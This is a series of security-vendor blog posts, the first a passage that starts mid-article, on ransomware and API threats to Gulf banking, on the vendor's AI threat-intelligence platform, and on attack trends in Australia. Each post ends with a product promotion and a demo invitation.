Attacks impacting enterprises around the Middle East have been connected to groups like Qilin, DarkVault, and remnants of the Conti ransomware network. Qilin, which is well-known for its double-extortion strategy, allegedly targeted energy and logistics companies by obtaining confidential information, encrypting networks, and then requesting money. DarkVault leveraged recently discovered vulnerabilities impacting high-availability systems and VPN vulnerabilities to target companies in Qatar and Oman.  

Additionally, the strategies have advanced beyond conventional encryption attacks. Threat actors frequently use watering hole attacks, credential theft operations, and Man-in-the-Middle (MiTM) interception tactics to infiltrate websites that employees in targeted industries frequently visit.  

The rate of exploitation has emerged as a key issue. Within days of being made public, vulnerabilities like CVE-2024-4577 and CVE-2024-26169 were allegedly weaponized. CISOs are being forced to completely reconsider patch management, exposure monitoring, and incident response workflows due to this decreasing reaction window 

Open Banking Security Is Becoming a Regional Pressure Point

The expansion of open banking security standards across the Gulf Cooperation Council (GCC) has created enormous opportunities for innovation, but it has also raised exposure, which many institutions are still finding challenging.   

Modern banking ecosystems heavily rely on APIs to connect banks with fintech apps, payment gateways, digital wallets, lending platforms, and customer analytics tools. These integrations improve consumer satisfaction and expedite service delivery, but they also provide attackers with extremely attractive access points.   

Cybercriminal organizations target exposed APIs, inadequate authentication processes, overpermissioned connections, and incorrectly configured cloud services. In several recent instances, attackers have gained access through trusted third-party connections rather than getting into institutions directly.   

This shift is changing the fundamentals of fintech cybersecurity. Security forces no longer guard a single perimeter. Instead, they are attempting to protect dynamic ecosystems that include remote developers, SaaS platforms, cloud-native applications operating across many jurisdictions, and external vendors.   

Gaps in visibility make the issue worse. Many firms still lack real-time visibility of all externally exposed assets connected to their surroundings. Because of forgotten APIs, abandoned web apps, insecure VPNs, and uncontrolled cloud instances, attackers still have low-friction access points.  

Data Breaches and Dark Web Exposure Continue to Rise

Data breaches and underground market activities have significantly grown as digital banking technology spreads throughout the Gulf Cooperation Council.  

In just the first half of 2025, researchers found over 90 instances of GCC-related data being released on illicit marketplaces and dark web forums. Sensitive company documents, financial details, login credentials, and personally identifiable information were allegedly among the leaked data.  

Stolen financial and fintech data is now a very lucrative commodity for cybercriminals. Credentials can be sold to other criminal organizations that specialize in financial theft or utilized for ransomware operations, fraud campaigns, and account takeover attempts.  

One noteworthy event was a cloud provider in the United Arab Emirates that was allegedly infiltrated, resulting in the exfiltration of customer data from the fintech and healthcare industries. Later, the stolen data appeared on black marketplaces where hackers tried to profit from the hack.  

E-Commerce and Digital Payments Are Expanding the Digital Banking Attack Surface

Another quickly growing attack surface has been produced by the GCC's thriving e-commerce industry. Attackers are focusing more on customer-facing infrastructure as online payments, digital wallets, and real-time financial services expand.  

Researchers found that phishing and credential-stuffing attacks against GCC e-commerce platforms increased by 25% between the first and third quarters of 2025. In other instances, after attackers took advantage of lax password policies or unpatched web applications, hacked administrator credentials subsequently surfaced on underground forums.  

Attacks on software supply chains increased dramatically at the same time. Researchers monitored about 16 software supply chain threats every month on average throughout the region between October 2024 and May 2025.  

These examples highlight the preference of attackers for indirect compromise. Instead, then breaking into a big bank directly, they go after software manufacturers, cloud service providers, managed service providers, or API partners that can give access to several downstream victims at once.  

Fintech cybersecurity executives are being compelled by this development to examine third-party risk management more closely than in the past. 

AI-Driven Cybercrime Is Accelerating Faster Than Defenders Can Respond

One of the defining characteristics of the 2026 threat landscape is the industrialization of cybercrime. 

Cybercrime-as-a-service ecosystems have matured into structured underground marketplaces where attackers can purchase malware kits, leased infrastructure, stolen credentials, penetration testing tools, and even negotiation services for ransomware operations. 

Ransomware groups such as Qilin and Akira expanded beyond malware deployment by offering affiliates industry-specific attack playbooks and outsourced operational support. Global ransomware payments surpassed $2.1 billion over the last three years while the cost of enterprise-grade attack tools declined substantially. 

Artificial intelligence is amplifying this trend. 

Attackers now use AI-generated phishing campaigns, automated reconnaissance systems, and deepfake-enabled fraud operations to scale attacks far more efficiently than traditional methods allowed. AI tools are also being used to scrape social media, map executive hierarchies, and craft highly personalized phishing messages capable of bypassing conventional detection systems. 

For financial institutions operating complex digital banking technology environments, this creates an asymmetrical problem: attackers can automate offensive operations faster than many organizations can modernize defensive workflows. 

Compliance Enforcement Is Becoming More Aggressive

Regulators across global markets strengthened cybersecurity enforcement significantly throughout 2025, and GCC organizations are feeling that pressure. 

Compliance requirements now extend far beyond annual audits and policy documentation. Regulators expect measurable operational resilience, continuous monitoring, rapid breach disclosure, and stronger oversight of third-party vendors. 

For banks and fintech providers, open banking security obligations are becoming especially demanding because institutions must demonstrate visibility into API activity, cloud risk exposure, and interconnected vendor ecosystems. 

This shift reflects a growing recognition that cybersecurity failures can rapidly evolve into systemic economic risks when digital financial services become deeply interconnected. 

As a result, enterprises are investing more heavily in automated evidence collection, AI-assisted security operations centers, continuous attack surface monitoring, and intelligence-driven risk management programs. 

Speed Has Become the Defining Factor in Banking Cyber Security

The most critical lesson from the GCC cyber landscape is that modern attacks are defined by speed. Threat actors are no longer taking days or weeks to progress from initial access to privilege escalation and data exfiltration; they are completing the entire attack chain in a matter of hours. Organizations relying on manual investigations and fragmented tooling often struggle to contain incidents before they translate into real operational and financial impact. 

To keep pace, security teams are shifting toward AI-driven defense models that reduce response time through behavioral analytics, automated triage, and intelligent incident response workflows. Platforms like Cyble, the world’s first AI-native unified cybersecurity platform, are enabling this transformation by delivering continuous threat intelligence, real-time attack surface visibility, and autonomous response capabilities across complex digital ecosystems. 

Cyble’s AI-native approach, powered by Cyble Vision, Cyble Titan EDR, and Blaze AI—helps organizations detect, correlate, and respond to threats faster than traditional security stacks, reducing dwell time and improving resilience across cloud, API, and fintech environments. 

In 2026, cybersecurity effectiveness is no longer defined by prevention alone, but by how quickly organizations can detect anomalies, contain threats, and disrupt attacker movement across interconnected systems. 

As the GCC’s digital transformation accelerates, the digital banking attack surface continues to expand with every new API, cloud workload, and third-party integration. Attackers are already adapting to this reality, automating their operations and targeting the weakest links in the ecosystem. 

Organizations that succeed will be those that move faster than the threat itself. With Cyble’s AI-native cybersecurity platform, security teams can unify intelligence, automate response, and stay ahead of evolving cyber risks in real time. 

Strengthen your defense against modern cyber threats with Cyble. Book a demo to see how an AI-native security platform can help you detect, respond, and outpace attackers across your entire digital banking attack surface. 

The post GCC Cyber 2026: How Digital Banking Expansion Is Creating a New Attack Surface Attackers Are Already Exploiting appeared first on Cyble.

Modern cyberattacks no longer follow predictable patterns or slow timelines. They unfold at machine speed, often moving from initial access to data exfiltration in minutes. In this environment, security teams face a paradox: they are surrounded by vast amounts of data yet struggle to extract clarity from it quickly enough to prevent damage.  

This is where Cyble Blaze AI introduces a different operational model, centered on cyber threat intelligence, security analytics, and large-scale threat intelligence automation designed to convert raw signals into immediate defensive action. Instead of treating security as a sequence of alerts and manual investigations, Cyble Blaze AI redefines it as a continuous intelligence system that observes, reasons, and responds in real time. 

The Data Overload Problem in Cyber Threat Intelligence and AI Security Analytics

Enterprises today generate security telemetry across endpoints, cloud workloads, identity systems, SaaS platforms, and external intelligence feeds. On top of that, threat actors continuously operate in hidden ecosystems such as dark web forums and encrypted communication channels. The issue is not a lack of data; it is fragmentation. Security teams often deal with disconnected signals that fail to form a coherent picture of risk. 

Cyble Blaze AI addresses this by applying ai security analytics to unify structured enterprise data with unstructured external intelligence. Instead of treating each alert as an isolated event, it interprets them as part of a broader behavioral system. This shift is essential for modern cyber threat intelligence, where context matters as much as detection. 

AI-Native Architecture Driving Threat Intelligence Automation 

At the core of Cyble Blaze AI is an architecture designed from the ground up for threat intelligence automation, not retrofitted with it. This distinction matters because it allows intelligence, analysis, and action to operate within a single system rather than across disconnected tools. 

The platform is built on a dual-memory design: 

Neural Memory (Structured Intelligence Layer) 

This layer functions as a continuously evolving knowledge graph. It maps: 

• Indicators of compromise (IOCs)  

• Threat actor behaviors  

• Attack infrastructure relationships  

• Campaign-level linkages  

By structuring intelligence this way, Cyble Blaze AI can track how threats evolve rather than reacting to individual alerts. 

Vector Memory (Contextual Intelligence Layer) 

This layer processes unstructured data such as analyst notes, reports, chat logs, and security documentation. Using semantic understanding, it identifies meaning rather than relying on keywords alone. 

Together, these layers enable cross-domain reasoning, a core requirement for modern cyber threat intelligence platforms that rely on AI security analytics to connect disparate signals into actionable insights. 

Threat Intelligence Automation from Hunt to Resolution 

Cyble Blaze AI replaces traditional manual workflows with an automated intelligence lifecycle built on threat intelligence automation principles: 

• Hunt: The system continuously scans dark web forums, phishing infrastructures, malware ecosystems, and external feeds to identify emerging indicators of compromise. 

• Correlate: Signals are cross-referenced across endpoint telemetry, cloud environments, and enterprise applications. This step transforms scattered signals into unified threat narratives. 

• Act: Once validated, automated responses are triggered. These may include endpoint isolation, domain blocking, policy enforcement, or workflow-based remediation across integrated tools. 

• Report: Structured reports are generated for both technical and executive audiences, aligned with controlled sharing frameworks such as TLP (Traffic Light Protocol). 

This end-to-end threat intelligence automation pipeline reduces the gap between detection and response. 

Autonomous Agents and Rapid Response in Cyber Threat Intelligence 

Cyble Blaze AI operates through coordinated autonomous agents, each handling specific security domains: 

• Vision Agent: detects anomalies across environments  

• Strato Agent: secures cloud workloads  

• Titan Agent: manages endpoint containment and remediation  

These agents do not work in isolation. They continuously share intelligence, enabling synchronized responses. 

In optimized scenarios, full incident handling, from detection to containment, can be completed in under two minutes, a major reduction compared to traditional workflows. 

This capability highlights how AI security analytics can compress response timelines when paired with effective threat intelligence automation. 

Predictive Cyber Threat Intelligence and Future Risk Detection 

Beyond real-time response, Cyble Blaze AI extends into predictive analysis. By processing global datasets and behavioral signals, it identifies emerging threats before they fully materialize. 

The system analyzes: 

• Dark web discussions and marketplace activity  

• Exploit development trends  

• Reconnaissance patterns  

• Vulnerability disclosures  

• Historical attack behavior  

Based on these inputs, it can forecast potential attack campaigns up to six months in advance. This shifts cyber threat intelligence from reactive monitoring to anticipatory defense, where organizations can prepare for threats long before execution. 

360° Visibility Through AI Security Analytics and External Intelligence 

One of the defining strengths of Cyble Blaze AI is its ability to unify internal enterprise telemetry with external threat ecosystems. This includes dark web monitoring sources, phishing infrastructures, and underground communication channels. 

By applying AI security analytics, the platform correlates these external signals with internal system behavior, building a complete view of organizational risk. 

This 360° visibility ensures that compromised credentials, for example, detected on underground forums can immediately be traced across enterprise environments to identify potential exploitation. 

Scale, Integrations, and Intelligence Depth 

Cyble Blaze AI operates at large enterprise scale with integration support for more than 70 security and IT tools, including SIEM, SOAR, EDR/XDR, cloud platforms, and collaboration systems. 

Its intelligence foundation is supported by over 350 billion threat data points, enabling deep contextual analysis across global threat landscapes. 

This scale is essential for effective threat intelligence automation, where the quality of decisions depends on the breadth and depth of underlying data. 

Role-Based Impact of Cyber Threat Intelligence Automation 

The platform’s design supports different security roles: 

• Analysts benefit from reduced alert fatigue and faster triage through ai security analytics  

• Threat hunters gain unified visibility across internal and external intelligence sources  

• Incident responders achieve faster containment through automated workflows  

• Executives and CISOs receive predictive risk insights aligned with business exposure  

This alignment ensures that cyber threat intelligence is not confined to security teams but becomes actionable across the organization. 

Toward Autonomous Cyber Defense 

Cyble brings cyber threat intelligence, AI security analytics, and threat intelligence automation together through Cyble Blaze AI to turn massive volumes of security data into coordinated, real-time defense actions. Instead of overwhelming teams with alerts, it focuses on context, prediction, and autonomous response—reducing the time between detection and mitigation to near real time. 

With this approach, Cyble shifts security operations from reactive monitoring to proactive and automated defense, where threats are identified earlier and neutralized faster across enterprise environments. 

To explore how Cyble can help modernize security operations with AI-native intelligence, organizations can connect with Cyble and schedule a demo to see Cyble Blaze AI in action. 

The post How Cyble Blaze AI Turns Billions of Threat Signals into Actionable Intelligence appeared first on Cyble.

Cybersecurity is no longer a luxury or an afterthought for Australian organizations; it is a necessity. The scale and complexity of cyberattacks have reached unprecedented levels, and businesses, government bodies, and critical infrastructure sectors are feeling the strain. No longer confined to isolated breaches or small-scale data thefts, cyber threats now target entire systems, aiming to disrupt, steal, or hold hostage valuable assets. 

Recent reports indicate a sharp rise in cyber threats targeting Australian businesses. In the first half of 2025 alone, Australia saw 57 ransomware attacks, doubling the number recorded in the same period of the previous year. Healthcare, finance, and critical infrastructure sectors have been the most severely impacted, with healthcare experiencing the highest volume of cyber incidents, particularly ransomware attacks. In addition, supply chain attacks have surged significantly, with 79 incidents documented in the first half of 2025, a notable increase from previous months. 

This transition is being powered by Artificial Intelligence (AI), which is enabling organizations to not only respond to threats but also anticipate them before they materialize. AI-powered threat detection and predictive cybersecurity solutions are taking center stage, offering the promise of more resilient defenses against cyber adversaries.  

The Growing AI Cybersecurity Threat Landscape in Australia 

Australia’s cybersecurity landscape is facing a critical period as cyberattacks evolve in both sophistication and scale. According to Cyble's H1 2025 report, Australia has seen a marked increase in the number of cyberattacks targeting critical infrastructure, with IT and software supply chain incidents rising by 25% compared to 2024. In particular, there has been a notable uptick in attacks aimed at telecommunications and technology companies, which are rich targets for cybercriminals seeking to exploit downstream users. 

The first half of 2025 also saw an increase in AI-powered phishing, where adversaries are leveraging artificial intelligence to generate highly convincing social engineering attacks. These AI-driven phishing campaigns are more tailored and difficult to detect, presenting a new challenge for organizations in sectors like government, finance, and healthcare. As phishing becomes more sophisticated, the financial damage from these attacks has escalated, with average ransom demands exceeding USD $750,000 in many cases. 

Cloud security is another growing area of concern. The rapid adoption of cloud infrastructure has made it an attractive target for cybercriminals, especially those exploiting misconfigurations and weak access controls. In the first half of 2025 alone, Cyble's investigations uncovered over 200 billion exposed files across major cloud service providers, demonstrating the critical need for stronger cloud security measures. 

Reactive vs Proactive Cybersecurity 

For many years, cybersecurity strategies in Australia were largely reactive. Organizations would implement security measures after an attack had occurred, with systems designed to detect and mitigate threats once they were already inside the network. This reactive model is no longer sufficient. 

In contrast, proactive or predictive cybersecurity focuses on identifying and neutralizing threats before they can strike. This shift requires an understanding of the evolving threat landscape and the ability to anticipate attack strategies before they unfold. By leveraging predictive cybersecurity solutions powered by AI and machine learning, organizations can stay several steps ahead of cybercriminals. 

The Role of AI in Predictive Cybersecurity 

AI is transforming cybersecurity by offering more than just automated responses. With its ability to analyze vast amounts of data and identify patterns, AI is the key enabler of predictive threat intelligence. Using machine learning algorithms, AI-powered platforms can detect anomalies, predict future threats, and even automate incident response actions. 

One such platform revolutionizing cybersecurity is Cyble Blaze AI, an advanced AI-powered threat detection system that uses predictive analytics to foresee cyberattacks and respond autonomously. Unlike traditional systems that rely on predefined rules, Cyble Blaze AI uses machine learning to learn from every interaction and adapt to new, unknown threats. This continuous learning ensures that the system becomes more accurate and effective over time, making it an essential tool in the shift from reactive to proactive cybersecurity. 

The Power of Machine Learning in Cybersecurity 

Machine learning (ML) has become a cornerstone of modern cybersecurity solutions. By leveraging large datasets, machine learning models can identify emerging patterns and trends in cyberattack strategies that would otherwise go unnoticed. ML algorithms can also classify threats based on their severity, enabling organizations to prioritize responses and allocate resources more effectively. 

In addition, machine learning in cybersecurity supports the concept of "autonomous defense." Rather than requiring human intervention to detect and respond to every attack, AI systems like Cyble Blaze AI can take action in real-time. For example, when Cyble Blaze AI detects a potential breach, it doesn’t just issue an alert; it can automatically isolate affected systems, shut down compromised accounts, and block malicious traffic, significantly reducing the time between detection and mitigation. 

Cyble Blaze AI: Leading the Way in Predictive Cyber Defense 

Cyble’s AI-driven platform, including the Blaze AI engine, represents a significant leap in cybersecurity technology. Blaze AI employs a dual-brain architecture, which integrates neural and vector memory systems to process both structured and unstructured data from a variety of sources. This comprehensive approach enables the platform to detect emerging threats across multiple domains, including the dark web, endpoint systems, and network activity. 

What sets Cyble Blaze AI apart is its ability to predict cyberattacks before they occur. By continuously analyzing data from over 350 billion signals, the system identifies early warning signs of potential threats, such as leaked credentials or new exploit discussions on the dark web. This predictive capability empowers organizations to take preemptive action, patch vulnerabilities, and strengthen defenses long before an attack is launched. 

Furthermore, Blaze AI’s autonomous agents collaborate seamlessly to execute threat responses in real-time. For example, if the system detects a phishing attempt or ransomware infection, it can take immediate corrective action, such as blocking the malicious file, isolating affected systems, or even restoring data from backups, all without human intervention. 

Don’t wait for the breach. Schedule a Demo Today 

The Importance of Predictive Cybersecurity Solutions for Australian Businesses 

For Australian businesses, the adoption of AI-driven cyber defense strategies is no longer a matter of choice, it’s a matter of survival. As the threat landscape becomes more sophisticated and cybercriminals grow more organized, organizations must evolve their cybersecurity practices to keep pace. 

By embracing AI-powered threat detection and predictive cybersecurity solutions, businesses can reduce the risk of significant breaches and minimize the impact of cyberattacks. These technologies offer several key benefits: 

• Early Threat Detection: AI can identify potential threats based on historical data and emerging patterns, giving organizations a head start in addressing vulnerabilities.  

• Automated Response: By automating routine tasks, AI systems can reduce the burden on human cybersecurity teams, allowing them to focus on more complex issues.  

• Continuous Learning: Machine learning algorithms improve over time, enabling AI systems to adapt to new types of attacks and threats.  

• Cost Efficiency: By preventing successful attacks before they escalate, AI-powered platforms can save organizations from the high costs associated with data breaches, downtime, and reputational damage.  

• Seamless Integration: Modern AI cybersecurity platforms like Cyble Blaze AI integrate with existing security tools, providing a unified, adaptive defense mechanism across all systems.  

The post Why AI Cybersecurity Is No Longer Optional for Australian Organizations: Moving from Reactive to Predictive Defense appeared first on Cyble.